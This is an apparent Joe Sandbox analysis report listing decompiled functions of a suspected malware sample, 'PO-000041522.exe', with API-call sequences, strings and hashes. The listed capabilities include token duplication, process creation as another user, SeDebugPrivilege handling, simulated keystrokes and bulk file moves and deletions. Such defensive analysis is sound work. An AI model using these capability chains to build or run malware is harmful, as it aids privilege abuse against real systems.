                                                                                                • Associated: 00000000.00000002.1270864814.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270898553.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_0_2_400000_PO-000041522.jbxd
                                                                                                Similarity
                                                                                                • API ID: MessageSend$State$LongProcWindow
                                                                                                • String ID: @GUI_DRAGID$F
                                                                                                • API String ID: 1562745308-4164748364
                                                                                                • Opcode ID: dcc01cbd87ddd492c2c278cbacd50e58f25e8ccd866e9ebab9dee97b514268e5
                                                                                                • Instruction ID: f40edf6d5039c675f00343e7880f865f139be9e64e9b8d530a61de5f06f6045f
                                                                                                • Opcode Fuzzy Hash: dcc01cbd87ddd492c2c278cbacd50e58f25e8ccd866e9ebab9dee97b514268e5
                                                                                                • Instruction Fuzzy Hash: C6429F702042019FD714CF54C884FAB77A5EB89B04F548A6EFA48AB291DBB4EC45CB5A
                                                                                                Strings
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000000.00000002.1270795666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 00000000.00000002.1270760761.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270843249.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270898553.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_0_2_400000_PO-000041522.jbxd
                                                                                                Similarity
                                                                                                • API ID:
                                                                                                • String ID: PF$'|G$*"D$*vG$+%F$0wE$2G$5CG$7eF$<HF$<G$ApG$DvE$GSG$IqE$K@G$LbF$MdF$NgF$PIF$YtG$^[F$_?G$b"D$i}G$j)F$kQG$lE$rTG$vjE$}eE$*F$3G$_G$wG
                                                                                                • API String ID: 0-3772701627
                                                                                                • Opcode ID: bb854585b2a8d25cf70b859c951904b6599901827447d171664d6ae6ba41e592
                                                                                                • Instruction ID: b1e67458769bbea4a86cd8903524db5b6e79558e2e7ab8c51025fc7bd56032a7
                                                                                                • Opcode Fuzzy Hash: bb854585b2a8d25cf70b859c951904b6599901827447d171664d6ae6ba41e592
                                                                                                • Instruction Fuzzy Hash: 118366F1905B409FC351DFAAF984605BAE1F3AA3157A2857FC5088B731D7B8194A8F4C
                                                                                                APIs
                                                                                                • GetForegroundWindow.USER32(00000000,?,?,004448AF,?), ref: 004375B3
                                                                                                • FindWindowW.USER32(Shell_TrayWnd,00000000), ref: 004375D8
                                                                                                • IsIconic.USER32(?), ref: 004375E1
                                                                                                • ShowWindow.USER32(?,00000009,?,?,004448AF,?), ref: 004375EE
                                                                                                • SetForegroundWindow.USER32(?), ref: 004375FD
                                                                                                • GetWindowThreadProcessId.USER32(00000000,00000000), ref: 00437615
                                                                                                • GetCurrentThreadId.KERNEL32 ref: 00437619
                                                                                                • GetWindowThreadProcessId.USER32(?,00000000), ref: 00437624
                                                                                                • AttachThreadInput.USER32(00000000,00000000,00000001,?,?,004448AF,?), ref: 00437632
                                                                                                • AttachThreadInput.USER32(00000000,00000000,00000001,?,?,004448AF,?), ref: 00437638
                                                                                                • AttachThreadInput.USER32(00000000,00000000,00000001,?,?,004448AF,?), ref: 0043763E
                                                                                                • SetForegroundWindow.USER32(?), ref: 00437645
                                                                                                • MapVirtualKeyW.USER32(00000012,00000000), ref: 00437654
                                                                                                • keybd_event.USER32(00000012,00000000), ref: 0043765D
                                                                                                • MapVirtualKeyW.USER32(00000012,00000000), ref: 0043766B
                                                                                                • keybd_event.USER32(00000012,00000000), ref: 00437674
                                                                                                • MapVirtualKeyW.USER32(00000012,00000000), ref: 00437682
                                                                                                • keybd_event.USER32(00000012,00000000), ref: 0043768B
                                                                                                • MapVirtualKeyW.USER32(00000012,00000000), ref: 00437699
                                                                                                • keybd_event.USER32(00000012,00000000), ref: 004376A2
                                                                                                • SetForegroundWindow.USER32(?), ref: 004376AD
                                                                                                • AttachThreadInput.USER32(00000000,00000000,00000000,?,?,004448AF), ref: 004376CD
                                                                                                • AttachThreadInput.USER32(00000000,00000000,00000000,?,?,004448AF), ref: 004376D3
                                                                                                • AttachThreadInput.USER32(00000000,00000000,00000000,?,?,004448AF), ref: 004376D9
                                                                                                Strings
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000000.00000002.1270795666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 00000000.00000002.1270760761.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270843249.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270898553.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_0_2_400000_PO-000041522.jbxd
                                                                                                Similarity
                                                                                                • API ID: Thread$Window$AttachInput$ForegroundVirtualkeybd_event$Process$CurrentFindIconicShow
                                                                                                • String ID: Shell_TrayWnd
                                                                                                • API String ID: 3778422247-2988720461
                                                                                                • Opcode ID: ec12ba9e870cc2e5dd85ad52799cb15a6745d125a488419c4f0ebb71fc1ee38e
                                                                                                • Instruction ID: 6108fbe056c1a000d5481f33e03d330ccc862392245923d3170deea12ea07584
                                                                                                • Opcode Fuzzy Hash: ec12ba9e870cc2e5dd85ad52799cb15a6745d125a488419c4f0ebb71fc1ee38e
                                                                                                • Instruction Fuzzy Hash: AC31A4712803157FE6245BA59D0EF7F3F9CEB48B51F10082EFA02EA1D1DAE458009B79
                                                                                                APIs
                                                                                                • _memset.LIBCMT ref: 0044621B
                                                                                                • DuplicateTokenEx.ADVAPI32(?,00000000,00000000,00000002,00000001,?,?,?,?,?,?,?,?,?,?,?), ref: 00446277
                                                                                                • CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 0044628A
                                                                                                • OpenWindowStationW.USER32(winsta0,00000000,00060000), ref: 004462A4
                                                                                                • GetProcessWindowStation.USER32(?,?,?,?,?,?,?,?,?,?,?,?), ref: 004462BD
                                                                                                • SetProcessWindowStation.USER32(00000000,?,?,?,?,?,?,?,?,?,?,?,?), ref: 004462C8
                                                                                                • OpenDesktopW.USER32(default,00000000,00000000,00060081), ref: 004462E4
                                                                                                • _wcslen.LIBCMT ref: 0044639E
                                                                                                  • Part of subcall function 0041171A: _malloc.LIBCMT ref: 00411734
                                                                                                • _wcsncpy.LIBCMT ref: 004463C7
                                                                                                • LoadUserProfileW.USERENV(?,00000000,00000000,?,?,00000000,?,?,?,?), ref: 004463E7
                                                                                                • CreateEnvironmentBlock.USERENV(?,?,00000000,00000000,?,?,00000000,?,?,?,?), ref: 00446408
                                                                                                • CreateProcessAsUserW.ADVAPI32(?,00000000,00000000,00000000,00000000,?,?,?,?,?,?,00000000,?,?,00000000,?), ref: 00446446
                                                                                                • UnloadUserProfile.USERENV(?,?,?,?,?,?,?), ref: 00446483
                                                                                                • CloseWindowStation.USER32(00000000,?,?,?,?), ref: 00446497
                                                                                                • CloseDesktop.USER32(00000000,?,?,?,?), ref: 0044649E
                                                                                                • SetProcessWindowStation.USER32(?,?,?,?,?), ref: 004464A9
                                                                                                • CloseHandle.KERNEL32(?,?,?,?,?), ref: 004464B4
                                                                                                • DestroyEnvironmentBlock.USERENV(?,?,?,?,?,?), ref: 004464C8
                                                                                                Strings
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000000.00000002.1270795666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 00000000.00000002.1270760761.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270843249.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270898553.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_0_2_400000_PO-000041522.jbxd
                                                                                                Similarity
                                                                                                • API ID: StationWindow$CloseProcess$User$BlockCreateDesktopEnvironmentHandleOpenProfile$DestroyDuplicateLoadTokenUnload_malloc_memset_wcslen_wcsncpy
                                                                                                • String ID: $default$winsta0
                                                                                                • API String ID: 2173856841-1027155976
                                                                                                • Opcode ID: b7395eb92a084cd0104ce43c62c220b89845f52b3875ff07408cbd6c23ad3fac
                                                                                                • Instruction ID: eafd5d154f9bcf2590b8f8eb1e0f3d39b01f77f2fd200ee1cb9c7344d9c52646
                                                                                                • Opcode Fuzzy Hash: b7395eb92a084cd0104ce43c62c220b89845f52b3875ff07408cbd6c23ad3fac
                                                                                                • Instruction Fuzzy Hash: DD819170208341AFE724DF65C848B6FBBE8AF89744F04491DF69097291DBB8D805CB6B
                                                                                                APIs
                                                                                                • _wcslen.LIBCMT ref: 00409A61
                                                                                                  • Part of subcall function 0041171A: _malloc.LIBCMT ref: 00411734
                                                                                                  • Part of subcall function 0041171A: std::bad_alloc::bad_alloc.LIBCMT ref: 00411757
                                                                                                  • Part of subcall function 0041171A: std::bad_exception::bad_exception.LIBCMT ref: 0041176B
                                                                                                  • Part of subcall function 0041171A: __CxxThrowException@8.LIBCMT ref: 00411779
                                                                                                • CharUpperBuffW.USER32(?,?), ref: 00409AF5
                                                                                                Strings
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000000.00000002.1270795666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 00000000.00000002.1270760761.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270843249.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270898553.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_0_2_400000_PO-000041522.jbxd
                                                                                                Similarity
                                                                                                • API ID: BuffCharException@8ThrowUpper_malloc_wcslenstd::bad_alloc::bad_allocstd::bad_exception::bad_exception
                                                                                                • String ID: 0vH$4RH
                                                                                                • API String ID: 1143807570-2085553193
                                                                                                • Opcode ID: a08d341b5361ab3da2461691443f87e1bed7f0e5478504143dce4095384e9e71
                                                                                                • Instruction ID: 7c8f52bff4b3ea9a641e6aac08ab5e1c8beb32691f0f21fab5f23224d73a3634
                                                                                                • Opcode Fuzzy Hash: a08d341b5361ab3da2461691443f87e1bed7f0e5478504143dce4095384e9e71
                                                                                                • Instruction Fuzzy Hash: 34238170A043109FD724DF25D480A6BB7E1BF89304F54896EE84A9B391D739EC46CB9B
                                                                                                APIs
                                                                                                  • Part of subcall function 0040FFB0: GetFullPathNameW.KERNEL32(00000000,00000104,C:\Users\user\Desktop\PO-000041522.exe,?,C:\Users\user\Desktop\PO-000041522.exe,004A8E80,C:\Users\user\Desktop\PO-000041522.exe,0040F3D2), ref: 0040FFCA
                                                                                                  • Part of subcall function 00436A1D: __wsplitpath.LIBCMT ref: 00436A45
                                                                                                  • Part of subcall function 00436A1D: __wsplitpath.LIBCMT ref: 00436A6C
                                                                                                  • Part of subcall function 00436A1D: __wcsicoll.LIBCMT ref: 00436A93
                                                                                                  • Part of subcall function 00436AC4: GetFileAttributesW.KERNEL32(?,0044BD82,?,?,?), ref: 00436AC9
                                                                                                • _wcscat.LIBCMT ref: 0044BD96
                                                                                                • _wcscat.LIBCMT ref: 0044BDBF
                                                                                                • __wsplitpath.LIBCMT ref: 0044BDEC
                                                                                                • FindFirstFileW.KERNEL32(?,?), ref: 0044BE04
                                                                                                • _wcscpy.LIBCMT ref: 0044BE73
                                                                                                • _wcscat.LIBCMT ref: 0044BE85
                                                                                                • _wcscat.LIBCMT ref: 0044BE97
                                                                                                • lstrcmpiW.KERNEL32(?,?), ref: 0044BEC3
                                                                                                • DeleteFileW.KERNEL32(?), ref: 0044BED5
                                                                                                • MoveFileW.KERNEL32(?,?), ref: 0044BEF5
                                                                                                • CopyFileW.KERNEL32(?,?,00000000), ref: 0044BF0C
                                                                                                • DeleteFileW.KERNEL32(?), ref: 0044BF17
                                                                                                • CopyFileW.KERNEL32(?,?,00000000), ref: 0044BF2E
                                                                                                • FindClose.KERNEL32(00000000), ref: 0044BF35
                                                                                                • MoveFileW.KERNEL32(?,?), ref: 0044BF51
                                                                                                • FindNextFileW.KERNEL32(00000000,00000010), ref: 0044BF66
                                                                                                • FindClose.KERNEL32(00000000), ref: 0044BF7E
                                                                                                Strings
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000000.00000002.1270795666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 00000000.00000002.1270760761.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270843249.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270898553.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_0_2_400000_PO-000041522.jbxd
                                                                                                Similarity
                                                                                                • API ID: File$Find_wcscat$__wsplitpath$CloseCopyDeleteMove$AttributesFirstFullNameNextPath__wcsicoll_wcscpylstrcmpi
                                                                                                • String ID: \*.*
                                                                                                • API String ID: 2188072990-1173974218
                                                                                                • Opcode ID: 37b83e77465c63a9a0fc5a2f65b261a2e9867c78515d1bc57cb11e6e3b171851
                                                                                                • Instruction ID: 14f7055b3521afb04026f42b490306401b0ba37f80ed0ea0ca267746d8cc4687
                                                                                                • Opcode Fuzzy Hash: 37b83e77465c63a9a0fc5a2f65b261a2e9867c78515d1bc57cb11e6e3b171851
                                                                                                • Instruction Fuzzy Hash: CA5166B2008344AAD720DBA4DC44FDF73E8AB85314F448D1EF68982141EB79D64CCBAA
                                                                                                APIs
                                                                                                • __invoke_watson.LIBCMT ref: 004203A4
                                                                                                  • Part of subcall function 00417D93: _memset.LIBCMT ref: 00417DBB
                                                                                                  • Part of subcall function 00417D93: IsDebuggerPresent.KERNEL32(?,?,00000314), ref: 00417E6F
                                                                                                  • Part of subcall function 00417D93: SetUnhandledExceptionFilter.KERNEL32(00000000,?,?,00000314), ref: 00417E79
                                                                                                  • Part of subcall function 00417D93: UnhandledExceptionFilter.KERNEL32(?,?,?,00000314), ref: 00417E86
                                                                                                  • Part of subcall function 00417D93: GetCurrentProcess.KERNEL32(C0000417,?,?,00000314), ref: 00417EA1
                                                                                                  • Part of subcall function 00417D93: TerminateProcess.KERNEL32(00000000,?,?,00000314), ref: 00417EA8
                                                                                                • __get_daylight.LIBCMT ref: 004203B0
                                                                                                • __invoke_watson.LIBCMT ref: 004203BF
                                                                                                • __get_daylight.LIBCMT ref: 004203CB
                                                                                                • __invoke_watson.LIBCMT ref: 004203DA
                                                                                                • ____lc_codepage_func.LIBCMT ref: 004203E2
                                                                                                • _strlen.LIBCMT ref: 00420442
                                                                                                • __malloc_crt.LIBCMT ref: 00420449
                                                                                                • _strlen.LIBCMT ref: 0042045F
                                                                                                • _strcpy_s.LIBCMT ref: 0042046D
                                                                                                • __invoke_watson.LIBCMT ref: 00420482
                                                                                                • GetTimeZoneInformation.KERNEL32(00496C28), ref: 004204AA
                                                                                                • WideCharToMultiByte.KERNEL32(?,?,00496C2C,?,?,0000003F,?,?), ref: 00420528
                                                                                                • WideCharToMultiByte.KERNEL32(?,?,00496C80,000000FF,?,0000003F,?,?,?,00496C2C,?,?,0000003F,?,?), ref: 0042055C
                                                                                                  • Part of subcall function 00413A88: __lock.LIBCMT ref: 00413AA6
                                                                                                  • Part of subcall function 00413A88: ___sbh_find_block.LIBCMT ref: 00413AB1
                                                                                                  • Part of subcall function 00413A88: ___sbh_free_block.LIBCMT ref: 00413AC0
                                                                                                  • Part of subcall function 00413A88: RtlFreeHeap.NTDLL(00000000,00411739,0048C758,0000000C,004183E8,00000000,0048CA38,0000000C,00418422,00411739,?,?,004224D3,00000004,0048CCA0,0000000C), ref: 00413AF0
                                                                                                  • Part of subcall function 00413A88: GetLastError.KERNEL32(?,004224D3,00000004,0048CCA0,0000000C,00417011,00411739,?,00000000,00000000,00000000,?,00416C24,00000001,00000214), ref: 00413B01
                                                                                                • __invoke_watson.LIBCMT ref: 004205CC
                                                                                                Strings
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000000.00000002.1270795666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 00000000.00000002.1270760761.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270843249.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270898553.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_0_2_400000_PO-000041522.jbxd
                                                                                                Similarity
                                                                                                • API ID: __invoke_watson$ByteCharExceptionFilterMultiProcessUnhandledWide__get_daylight_strlen$CurrentDebuggerErrorFreeHeapInformationLastPresentTerminateTimeZone____lc_codepage_func___sbh_find_block___sbh_free_block__lock__malloc_crt_memset_strcpy_s
                                                                                                • String ID: S\
                                                                                                • API String ID: 4084823496-393906132
                                                                                                • Opcode ID: dc5610741a0148f7786b6b9dfa96f50a6ae589fbdbcd52e429fe3139d0279a48
                                                                                                • Instruction ID: b357f19af7064e56bcdb8625987f67de7edc2332d57e558cb2e7b84f91b73af7
                                                                                                • Opcode Fuzzy Hash: dc5610741a0148f7786b6b9dfa96f50a6ae589fbdbcd52e429fe3139d0279a48
                                                                                                • Instruction Fuzzy Hash: 6A91D371E00125AFDB20EF65EC819AE7BE9EF55300B95003BF540A7253DA3C89828F5C
                                                                                                APIs
                                                                                                • GetFullPathNameW.KERNEL32(?,00000104,?,?), ref: 00434D75
                                                                                                • __swprintf.LIBCMT ref: 00434D91
                                                                                                • _wcslen.LIBCMT ref: 00434D9B
                                                                                                • _wcslen.LIBCMT ref: 00434DB0
                                                                                                • _wcslen.LIBCMT ref: 00434DC5
                                                                                                • CreateDirectoryW.KERNEL32(?,00000000), ref: 00434DD7
                                                                                                • CreateFileW.KERNEL32(?,40000000,00000000,00000000,00000003,02200000,00000000), ref: 00434E0A
                                                                                                • _memset.LIBCMT ref: 00434E27
                                                                                                • _wcslen.LIBCMT ref: 00434E3C
                                                                                                • _wcsncpy.LIBCMT ref: 00434E6F
                                                                                                • DeviceIoControl.KERNEL32(00000000,000900A4,?,?,00000000,00000000,?,00000000), ref: 00434EA9
                                                                                                • CloseHandle.KERNEL32(00000000), ref: 00434EB4
                                                                                                • RemoveDirectoryW.KERNEL32(?), ref: 00434EBB
                                                                                                • CloseHandle.KERNEL32(00000000), ref: 00434ECE
                                                                                                Strings
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000000.00000002.1270795666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 00000000.00000002.1270760761.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270843249.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270898553.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_0_2_400000_PO-000041522.jbxd
                                                                                                Similarity
                                                                                                • API ID: _wcslen$CloseCreateDirectoryHandle$ControlDeviceFileFullNamePathRemove__swprintf_memset_wcsncpy
                                                                                                • String ID: :$\$\??\%s
                                                                                                • API String ID: 302090198-3457252023
                                                                                                • Opcode ID: 1623bec2b974bb3ee5261838648fb58b2a9d6db5aa255760d49714c370e47f4e
                                                                                                • Instruction ID: 730b2dca1b6b09bd6b76555d3316dee95f4818bcffb97f26f8f03165767cfd2f
                                                                                                • Opcode Fuzzy Hash: 1623bec2b974bb3ee5261838648fb58b2a9d6db5aa255760d49714c370e47f4e
                                                                                                • Instruction Fuzzy Hash: 30416676604340ABE330EB64DC49FEF73E8AFD8714F00891EF649921D1E7B4A645876A
                                                                                                APIs
                                                                                                  • Part of subcall function 00444233: _wcslen.LIBCMT ref: 0044424E
                                                                                                • OpenProcess.KERNEL32(00000001,00000000,?), ref: 0046449E
                                                                                                • GetLastError.KERNEL32 ref: 004644B4
                                                                                                • GetCurrentThread.KERNEL32 ref: 004644C8
                                                                                                • OpenThreadToken.ADVAPI32(00000000), ref: 004644CF
                                                                                                • GetCurrentProcess.KERNEL32(00000028,?), ref: 004644E0
                                                                                                • OpenProcessToken.ADVAPI32(00000000), ref: 004644E7
                                                                                                Strings
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000000.00000002.1270795666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 00000000.00000002.1270760761.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270843249.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270898553.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_0_2_400000_PO-000041522.jbxd
                                                                                                Similarity
                                                                                                • API ID: OpenProcess$CurrentThreadToken$ErrorLast_wcslen
                                                                                                • String ID: SeDebugPrivilege
                                                                                                • API String ID: 1312810259-2896544425
                                                                                                • Opcode ID: bb2abcbadcb50e0008f3b1fe3e217bfa736f6ade076d8095da49bf04f95d98f8
                                                                                                • Instruction ID: c3f5e6af55eb0da9fa74db60d4f5a84adac3a89a74612fbe59a223ef38337450
                                                                                                • Opcode Fuzzy Hash: bb2abcbadcb50e0008f3b1fe3e217bfa736f6ade076d8095da49bf04f95d98f8
                                                                                                • Instruction Fuzzy Hash: 0E51A171200201AFD710DF65DD85F5BB7A8AB84704F10892EFB44DB2C1D7B8E844CBAA
                                                                                                APIs
                                                                                                  • Part of subcall function 00401B70: _wcslen.LIBCMT ref: 00401B71
                                                                                                • GetCurrentDirectoryW.KERNEL32(00000104,?,?), ref: 00403871
                                                                                                • GetFullPathNameW.KERNEL32(?,00000104,?,?), ref: 00403887
                                                                                                • __wsplitpath.LIBCMT ref: 004038B2
                                                                                                  • Part of subcall function 00413DB0: __wsplitpath_helper.LIBCMT ref: 00413DF2
                                                                                                • _wcscpy.LIBCMT ref: 004038C7
                                                                                                • _wcscat.LIBCMT ref: 004038DC
                                                                                                • SetCurrentDirectoryW.KERNEL32(?), ref: 004038EC
                                                                                                  • Part of subcall function 0041171A: _malloc.LIBCMT ref: 00411734
                                                                                                  • Part of subcall function 0041171A: std::bad_alloc::bad_alloc.LIBCMT ref: 00411757
                                                                                                  • Part of subcall function 0041171A: std::bad_exception::bad_exception.LIBCMT ref: 0041176B
                                                                                                  • Part of subcall function 0041171A: __CxxThrowException@8.LIBCMT ref: 00411779
                                                                                                  • Part of subcall function 00403F40: MultiByteToWideChar.KERNEL32(00000000,00000001,?,?,00000000,00000000,?,?,0040397D,?,?,00000010), ref: 00403F54
                                                                                                  • Part of subcall function 00403F40: MultiByteToWideChar.KERNEL32(00000000,00000001,?,?,00000000,00000000,00000000,?,00000010), ref: 00403F8B
                                                                                                • _wcscpy.LIBCMT ref: 004039C2
                                                                                                • _wcslen.LIBCMT ref: 00403A53
                                                                                                • _wcslen.LIBCMT ref: 00403AAA
                                                                                                Strings
                                                                                                • Error opening the file, xrefs: 0042B8AC
                                                                                                • _, xrefs: 00403B48
                                                                                                • Unterminated string, xrefs: 0042B9BA
                                                                                                • #include depth exceeded. Make sure there are no recursive includes, xrefs: 0042B87B
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000000.00000002.1270795666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 00000000.00000002.1270760761.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270843249.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270898553.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_0_2_400000_PO-000041522.jbxd
                                                                                                Similarity
                                                                                                • API ID: _wcslen$ByteCharCurrentDirectoryMultiWide_wcscpy$Exception@8FullNamePathThrow__wsplitpath__wsplitpath_helper_malloc_wcscatstd::bad_alloc::bad_allocstd::bad_exception::bad_exception
                                                                                                • String ID: #include depth exceeded. Make sure there are no recursive includes$Error opening the file$Unterminated string$_
                                                                                                • API String ID: 4115725249-188983378
                                                                                                • Opcode ID: 41a17b6b7c53e0503f07697ff29d1ba6b46f5096225253351d4bea2372cae057
                                                                                                • Instruction ID: dca64db042171ec5605b2d10b6a92a42a2076cc25022adee7b8115af8a15fc96
                                                                                                • Opcode Fuzzy Hash: 41a17b6b7c53e0503f07697ff29d1ba6b46f5096225253351d4bea2372cae057
                                                                                                • Instruction Fuzzy Hash: 16D1D5B15083019AD710EF65C841AEB77E8AF95308F04492FF5C563292DB78DA49C7AB
                                                                                                APIs
                                                                                                • FindFirstFileW.KERNEL32(?,?), ref: 00434C12
                                                                                                • GetFileAttributesW.KERNEL32(?), ref: 00434C4F
                                                                                                • SetFileAttributesW.KERNEL32(?,?), ref: 00434C65
                                                                                                • FindNextFileW.KERNEL32(00000000,?), ref: 00434C77
                                                                                                • FindClose.KERNEL32(00000000), ref: 00434C88
                                                                                                • FindClose.KERNEL32(00000000), ref: 00434C9C
                                                                                                • FindFirstFileW.KERNEL32(*.*,?), ref: 00434CB7
                                                                                                • SetCurrentDirectoryW.KERNEL32(?), ref: 00434CFE
                                                                                                • SetCurrentDirectoryW.KERNEL32(0048A090), ref: 00434D22
                                                                                                • FindNextFileW.KERNEL32(00000000,00000010), ref: 00434D2A
                                                                                                • FindClose.KERNEL32(00000000), ref: 00434D35
                                                                                                • FindClose.KERNEL32(00000000), ref: 00434D43
                                                                                                Strings
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000000.00000002.1270795666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 00000000.00000002.1270760761.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270843249.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270898553.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_0_2_400000_PO-000041522.jbxd
                                                                                                Similarity
                                                                                                • API ID: Find$File$Close$AttributesCurrentDirectoryFirstNext
                                                                                                • String ID: *.*
                                                                                                • API String ID: 1409584000-438819550
